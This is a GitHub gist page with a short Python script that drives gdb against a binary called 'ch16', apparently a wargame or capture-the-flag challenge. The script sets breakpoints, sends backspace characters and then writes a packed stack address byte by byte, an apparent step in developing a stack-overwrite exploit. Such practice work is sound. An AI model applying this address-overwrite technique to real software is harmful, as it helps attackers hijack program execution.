Created
March 24, 2018 02:14
-
-
Save suryadana/71b1dfa4d78fd9565b62d3e63ca78e24 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from subprocess import Popen, PIPE | |
from time import sleep | |
import struct | |
proc = Popen(['gdb', 'ch16'], bufsize=1, stdin=PIPE) | |
def sendline(param): | |
proc.stdin.write(param+'\n') | |
sleep(2) | |
# # Set breakpoint | |
sendline('b* 0x0804865c') | |
sendline('b* 0x080485a6') | |
sendline('r') | |
sendline('c') | |
for i in range(0, 4): | |
sendline('\x08') | |
sendline('x/32wx $esp+0x18') | |
sendline('c') | |
addr = list(struct.pack('<I', 0xbffffabc)) | |
for i in addr: | |
sendline(i) | |
sendline('x/32wx $esp+0x18') | |
sendline('c') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment